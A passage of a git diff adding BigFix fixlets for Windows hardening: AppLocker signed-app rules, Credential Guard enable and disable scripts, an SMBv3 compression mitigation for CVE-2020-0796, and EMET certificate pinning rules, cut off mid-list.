+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-AppX-Signed.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Everyone-AppX-Signed"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Appx">
+		<FilePublisherRule Id="a9e18c21-ff8f-43cf-b9fc-db40eed693ba" Name="(Default Rule) All signed packaged apps" Description="Allows members of the Everyone group to run packaged apps that are signed." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Executables - Windows (20711).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Executables - Windows (20711).bes
new file mode 100644
index 000000000..97e5d1e00
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Executables - Windows (20711).bes	
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Signed Executables - Windows
+  ID       : 20711
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:01:09
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Signed Executables - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Executables</P>
+<UL>
+<LI>Allow everyone to run signed executables</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-Exe-Signed.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Everyone-Exe-Signed"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+// This Rule uses a custom generated GUID
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Exe">
+		<FilePublisherRule Id="4e586c7f-c597-46fc-a4e4-20008f03463d" Name="(Custom Rule) All digitally signed Windows Executable files" Description="Allows members of the Everyone group to run digitally signed Windows Executable files." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Installers - Windows (20712).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Installers - Windows (20712).bes
new file mode 100644
index 000000000..133530383
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed Installers - Windows (20712).bes	
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Signed Installers - Windows
+  ID       : 20712
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:01:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Signed Installers - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Installers</P>
+<UL>
+<LI>Allow everyone to run signed installers</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-Msi-Signed.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Everyone-Msi-Signed"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Msi">
+		<FilePublisherRule Id="b7af7102-efde-4369-8a89-7a6a392d1473" Name="(Default Rule) All digitally signed Windows Installer files" Description="Allows members of the Everyone group to run digitally signed Windows Installer files." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Disable - Windows (20652).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Disable - Windows (20652).bes
new file mode 100644
index 000000000..05a30f3cd
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Disable - Windows (20652).bes	
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Credential Guard - Disable - Windows
+  ID       : 20652
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-17T15:28:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Credential Guard - Disable - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet disables Credential Guard on Windows devices that support it. </P>
+<P><STRONG><FONT color=#ff0000>Note:</FONT></STRONG> This Fixlet should be thoroughly tested in your environment before using as it edits the Windows Bootloader to disable credential guard. For this reason, this fixlet has NO DEFAULT ACTION.</P>
+<P>For more information on Credential Guard please see: <A href="https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard">https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>set of (integer values of property &quot;SecurityServicesConfigured&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 1 /* Credential Guard is Configured */ or set of (integer values of property &quot;SecurityServicesRunning&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 1 /* Credential Guard is Running */</Relevance>
+    <Category>Virtualization Based Security</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-12</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action21509">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+// Enter your action script here
+
+regset &quot;[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]&quot; &quot;LsaCfgFlags&quot;=dword:00000000
+
+delete __createfile
+delete run.bat
+
+createfile until _end_
+
+mountvol X: /s
+copy %WINDIR%\System32\SecConfig.efi X:\EFI\Microsoft\Boot\SecConfig.efi /Y
+bcdedit /create {{0cb3b571-2f2e-4343-a879-d86a476d7215} /d &quot;DebugTool&quot; /application osloader
+bcdedit /set {{0cb3b571-2f2e-4343-a879-d86a476d7215} path &quot;\EFI\Microsoft\Boot\SecConfig.efi&quot;
+bcdedit /set {{bootmgr} bootsequence {{0cb3b571-2f2e-4343-a879-d86a476d7215}
+bcdedit /set {{0cb3b571-2f2e-4343-a879-d86a476d7215} loadoptions DISABLE-LSA-ISO
+bcdedit /set {{0cb3b571-2f2e-4343-a879-d86a476d7215} device partition=X:
+mountvol X: /d
+
+_end_
+move __createfile run.bat
+
+wait run.bat
+
+action requires restart</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Enable with UEFI Lock - Windows (20653).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Enable with UEFI Lock - Windows (20653).bes
new file mode 100644
index 000000000..f1caca9bc
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Credential Guard - Enable with UEFI Lock - Windows (20653).bes	
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Credential Guard - Enable with UEFI Lock - Windows
+  ID       : 20653
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-17T15:28:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Credential Guard - Enable with UEFI Lock - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet enables Credential Guard on Windows devices that support it. </P>
+<P>Credential Guard requires the following:</P>
+<OL>
+<LI>Physical PC (Virtual Machines are not Supported)
+<LI>Windows 10 Enterprise
+<LI>x64 Architecture
+<LI>UEFI 2.3.1
+<LI>Secure Boot
+<LI>Intel VT-x or AMD-V
+<LI>Second Level Address Translation (SLAT) Support</LI></OL>
+<P>The following features are recommended for Credential Guard:</P>
+<OL>
+<LI>IOMMU
+<LI>TPM 1.2 or 2.0</LI></OL>
+<P>Before you can enable Credential Guard you must activate Virtualization Based Security using Secure Boot or Secure Boot and DMA. To do this please use:</P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P>Fixlet: Config - Virtualization Based Security - Using Secure Boot - Windows</P>
+<P>Fixlet: Config - Virtualization Based Security - Using Secure Boot and DMA&nbsp;- Windows</P></BLOCKQUOTE>
+<P>You also must enable Hyper-V and Isolated User Mode. To do this please use:</P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P>Fixlet: Config - Isolated User Mode - Enable - Windows</P>
+<P>Fixlet: Config - Hyper-V Platform - Enable - Windows</P></BLOCKQUOTE>
+<P>For more information on Credential Guard please see: <A href="https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard">https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>set of (integer values of property &quot;AvailableSecurityProperties&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 2 /* Secure Boot is Available */</Relevance>
+    <Relevance>(it contains 2) of set of (integer values of property &quot;VirtualizationBasedSecurityStatus&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) /* Virtualization Based Security is Configured */</Relevance>
+    <Relevance>(value &quot;EnableVirtualizationBasedSecurity&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\DeviceGuard&quot; of native registry as integer = 1) and (value &quot;RequirePlatformSecurityFeatures&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\DeviceGuard&quot; of native registry as integer != 0)</Relevance>
+    <Relevance>(value &quot;LsaCfgFlags&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA&quot; of native registry as integer != 1) | true</Relevance>
+    <Category>Virtualization Based Security</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-12</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+regset &quot;[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]&quot; &quot;LsaCfgFlags&quot;=dword:00000001
+
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Disable SMBv3 Compression - Windows (26668).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Disable SMBv3 Compression - Windows (26668).bes
new file mode 100644
index 000000000..ee6bb1f88
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Disable SMBv3 Compression - Windows (26668).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Disable SMBv3 Compression - Windows
+  ID       : 26668
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2020-03-12T10:51:30
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Disable SMBv3 Compression - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet detects if SMBv3 is vulnerable to CVE-2020-0796</P>
+<P>It takes into account the following items:</P>
+<OL>
+<LI>Vulnerable Windows OS Versions
+<LI>SMBv3 Enablement
+<LI>SMBv3 Compression Status</LI></OL>
+<P>Actioning this Fixlet against a vulnerable device will disable SMBv3 Compression. </P>
+<P>NOTE: This will only protect a SMBv3 Server and will not protect a SMBv3 Client. This remediation prevents the "Wormable" part of CVE-2020-0796.</P>
+<P>This remediation is made available with no warranty expressed or otherwise and should be tested before being applied to any production or otherwise important systems.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists it whose (it = &quot;1903&quot; or it = &quot;1909&quot;) of preceding text of last &quot;)&quot; of following text of first &quot;(&quot; of (operating system as string)</Relevance>
+    <Relevance>not exists values &quot;DisableCompression&quot; whose (it = 1) of keys &quot;HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; of registry</Relevance>
+    <Relevance>not exists values &quot;SMB2&quot; whose (it = 0) of keys &quot;HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; of registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2020-03-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 12 Mar 2020 17:38:54 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]&quot; &quot;DisableCompression&quot;=dword:00000001</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Cert Pinning Mitigations - Windows (20801).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Cert Pinning Mitigations - Windows (20801).bes
new file mode 100644
index 000000000..dba801fea
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Cert Pinning Mitigations - Windows (20801).bes	
@@ -0,0 +1,410 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - EMET Rules - Enable Default Cert Pinning Mitigations - Windows
+  ID       : 20801
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-06-07T06:30:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - EMET Rules - Enable Default Cert Pinning Mitigations - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the default Certificate Pinning Mitigations within EMET. Specifically it configures certificate pinning for the following sites:</P>
+<P>login.live.com<BR>login.microsoftonline.com<BR>login.skype.com<BR>login.yahoo.com<BR>secure.skype.com<BR>twitter.com<BR>facebook.com</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
+    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
+    <Relevance>(set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\CertPinning\Rules&quot; of native registry) != set of (&quot;FacebookCA&quot;;&quot;MicrosoftAccountCA&quot;;&quot;TwitterCA&quot;;&quot;YahooCA&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
+
+delete __createfile
+delete defaults.xml
+
+createfile until _end_
+<?xml version="1.0"?>
+<EMET Version="5.5.5871.31890">
+  <Pinning>
+    <PinRules>
+      <PinRule>
+        <ID>{{d9766177-1512-4c48-84e5-e95e44663eed}</ID>
+        <Name>TwitterCA</Name>
+        <ReferencedCertificates>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Global CA, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>023456</SerialNumber>
+            <PublicKeyHash>00F92AC34191B6C9C2B83E55F2C0971113A00720</PublicKeyHash>
+            <Thumbprint>DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint A9E9780814375888F20519B06D2B0D2B6016907D</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>A9E9780814375888F20519B06D2B0D2B6016907D</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Primary Certification Authority, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>18ACB56AFD69B6153A636CAFDAFAC4A1</SerialNumber>
+            <PublicKeyHash>2CD5504197158BF08F36615B4AFB6BD999C93392</PublicKeyHash>
+            <Thumbprint>323C118E1BF7B8B65254E2E2100DD6029037F096</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Primary Certification Authority - G3, OU=(c) 2008 GeoTrust Inc. - For authorized use only, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>15AC6E9419B2794B41F627A9C3180F1F</SerialNumber>
+            <PublicKeyHash>C479CA8EA14E031D1CDC6BDB315B943E3F307F2D</PublicKeyHash>
+            <Thumbprint>039EEDB80BE7A03C6953893B20D2D9323A4C2AFD</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint E621F3354379059A4B68309D8A2F74221587EC79</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>E621F3354379059A4B68309D8A2F74221587EC79</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 379A197B418545350CA60369F33C2EAF474F2079</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>379A197B418545350CA60369F33C2EAF474F2079</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 204285DCF7EB764195578E136BD4B7D1E98E46A5</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>204285DCF7EB764195578E136BD4B7D1E98E46A5</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 61EF43D77FCAD46151BC98E0C35912AF9FEB6311</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>61EF43D77FCAD46151BC98E0C35912AF9FEB6311</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 85371CA6E550143DCE2803471BDE3A09E8F8770F</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>85371CA6E550143DCE2803471BDE3A09E8F8770F</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G3, OU="(c) 1999 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>009B7E0649A33E62B9D5EE90487129EF57</SerialNumber>
+            <PublicKeyHash>F0115C20ABF0D0FE3D0842EF9571E372C11C1256</PublicKeyHash>
+            <Thumbprint>132D0D45534B6997CDB2D5C339E25576609B5CC6</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G5, OU="(c) 2006 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>18DAD19E267DE8BB4A2158CDCC6B3B4A</SerialNumber>
+            <PublicKeyHash>7FD365A7C2DDECBBF03009F34339FA02AF333133</PublicKeyHash>
+            <Thumbprint>4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Universal Root Certification Authority, OU="(c) 2008 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>401AC46421B31321030EBBE4121AC51D</SerialNumber>
+            <PublicKeyHash>B677FA6948479F5312D5C2EA07327607D1970719</PublicKeyHash>
+            <Thumbprint>3679CA35668772304D30A5FB873B0FA77BB70D54</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US</Issuer>
+            <SerialNumber>083BE056904246B1A1756AC95991C74A</SerialNumber>
+            <PublicKeyHash>03DE503556D14CBB66F0A3E21B1BC397B23DD155</PublicKeyHash>
+            <Thumbprint>A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US</Issuer>
+            <SerialNumber>02AC5C266A0B409B8F0B79F2AE462577</SerialNumber>
+            <PublicKeyHash>B13EC36903F8BF4701D498261A0802EF63642BC3</PublicKeyHash>
+            <Thumbprint>5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=DigiCert Assured ID Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US</Issuer>
+            <SerialNumber>0CE7E0E517D846FE8FE560FC1BF03039</SerialNumber>
+            <PublicKeyHash>45EBA2AFF492CB82312D518BA7A7219DF36DC80F</PublicKeyHash>
+            <Thumbprint>0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43</Thumbprint>
+          </UniqueCertificateIdentifier>
+        </ReferencedCertificates>
+        <Expiration>09/01/2017 00:00:00</Expiration>
+      </PinRule>
+      <PinRule>
+        <ID>{{7c7b8b00-ea88-423c-9635-d4f92159aae7}</ID>
+        <Name>MicrosoftAccountCA</Name>
+        <ReferencedCertificates>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE</Issuer>
+            <SerialNumber>020000B9</SerialNumber>
+            <PublicKeyHash>E59D5930824758CCACFA085436867B3AB5044DF0</PublicKeyHash>
+            <Thumbprint>D4DE20D05E66FC53FE1A50882C78DB2852CAE474</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G5, OU="(c) 2006 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>18DAD19E267DE8BB4A2158CDCC6B3B4A</SerialNumber>
+            <PublicKeyHash>7FD365A7C2DDECBBF03009F34339FA02AF333133</PublicKeyHash>
